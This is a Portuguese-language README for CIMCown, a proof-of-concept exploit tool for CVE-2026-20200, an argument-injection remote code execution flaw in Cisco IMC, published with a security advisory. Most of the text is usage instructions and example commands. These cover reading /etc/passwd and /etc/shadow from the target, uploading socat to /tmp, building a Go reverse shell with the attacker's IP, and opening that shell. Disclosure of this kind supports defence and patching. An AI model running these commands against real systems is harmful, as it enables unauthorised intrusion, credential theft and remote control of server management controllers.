CIMCown

CVE-2026-20200 Injeção de Argumentos no Cisco IMC com RCE

Christoph Peil @ NSIDE ATTACK LOGIC 2026

CVE: CVE-2026-20200
CVSS v3.1 (CISCO): 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v3.1 (NSIDE): 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Aviso: NSIDE-SA-2026-003
Post no blog: https://www.nsideattacklogic.de/en/cisco-imc-when-remote-management-becomes-a-backdoor-cve-2026-20200/

Esta prova de conceito é apenas para fins de demonstração e não pode ser utilizada para atividades ilegais. A NSIDE ATTACK LOGIC não é responsável por qualquer dano causado pelo uso ou uso indevido deste código.

Este exploit permite baixar arquivos, enviar arquivos e obter uma reverse shell. Ele contém vários arquivos Python do PoC, uma pasta shell e uma pasta download.

Na pasta download ficam todos os arquivos baixados do servidor, com seus nomes (ex.: /etc/passwd > passwd).

A pasta shell contém tudo o que é necessário para uma reverse shell. O arquivo lib.so é uma pequena biblioteca, compilada para ARM, para simplesmente executar o binário no IMC em /tmp/main. O comando exato usado para compilá-la está em util.py. Além disso, na pasta há um reverse_shell.go.example, uma pequena Reverse Shell em Go, que precisa ser compilada antes para incluir seu IP local usado na reverse shell.

Para que a reverse shell funcione, você primeiro precisa compilá-la com a ação -a build.

Instalação:

sudo apt install golang-go
pip install -r requirements.txt

Uso

Usage: CIMCown.py [-h] [--proxy PROXY] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-v]
options:
  -h, --help            show this help message and exit
  --proxy PROXY         Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)
  -t, --host HOST       Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
  -U, --username USERNAME
  -P, --password PASSWORD
  -a, --action ACTION   Action: test, download, upload, build, shell (default: test)
						Test will connect to the CIMC and download the file /etc/passwd
  -u, --uploadFile UPLOADFILE
                        File to upload
  -p, --remoteFile REMOTEFILE
                        Remote file path to upload to
  -d, --downloadFile DOWNLOADFILE
                        File to download, is saved into 'Download'
  -v, --verbose         Displays more information about cimc

Exemplos

Atenção à letra U maiúscula e à letra P maiúscula para usuário e senha!

Testar a ferramenta e o login

python ./CIMCown.py -U testAdmin -P testPassword -a test -t 192.168.10.2

Baixar o arquivo /etc/shadow

python ./CIMCown.py -U testAdmin -P testPassword -a download -d '/etc/shadow' -t 192.168.10.2

Enviar o arquivo ./shell/socat para /tmp/socat

python ./CIMCown.py -U testAdmin -P testPassword -a upload -u './shell/socat' -p '/tmp/socat' -t 192.168.10.2

Compilar a revshell Go

python ./CIMCown.py -U testAdmin -P testPassword -a build

Obter uma reverse shell

a ação 'build' é necessária antes para o IP local na revShell

# action 'build' is needed before for local IP in revShell
python ./CIMCown.py -U testAdmin -P testPassword -a shell